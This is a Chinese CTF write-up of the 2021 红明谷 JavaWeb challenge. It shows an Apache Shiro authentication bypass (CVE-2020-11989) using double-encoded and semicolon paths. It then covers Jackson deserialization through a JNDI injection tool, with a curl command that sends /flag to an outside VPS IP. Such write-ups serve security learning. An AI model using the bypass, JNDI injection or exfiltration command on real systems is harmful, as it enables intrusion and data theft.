[红明谷CTF 2021]JavaWeb buu刷题记录

映入眼帘的报错,然后搜一下知道是spring的洞

image-20220407212748196

有个登录,然后提示json,又看到cookie

cve-2020-11989

Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989) - 腾讯安全玄武实验室 (tencent.com)

Apache Shiro权限绕过漏洞分析(CVE-2020-11989) (qq.com)

参考这两篇,得出两种攻击方式

payload1: 双编码绕过

/ -> %2f ->%25%32%66

image-20220407214542111

payload2: 分号

image-20220407214521035

使用payload2就可以成功绕过。

这时候报错会告诉jsckson,

<div>There was an unexpected error (type=Internal Server Error, status=500).</div><div>Unexpected token (END_ARRAY), expected VALUE_STRING: need JSON String that contains type id (for subtype of java.lang.Object)
 at [Source: []; line: 1, column: 2]

尝试jackson的反序列化(这里就是知识盲区了)。

关于jackson的gadget文章:

http://b1ue.cn/archives/189.html

也是第一次遇到jackson的反序列化,像之前的fastjson的反序列化一样,可以rmi或者ldap进行攻击,学习一下这个jndi注入的工具:

https://github.com/welk1n/JNDI-Injection-Exploit/

利用curl外带出flag,也是学了一手curl -F的使用:

使用

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"

payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl 8.129.42.140:3307 -File=@/flag" -A "8.129.42.140"

按照readme在vps上安装以后,开启1099端口,并执行上面payload

image-20220407232902417

然后监听3307

之后发送json反序列化poc,建议使用burp

image-20220407232632569

image-20220407232946833

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值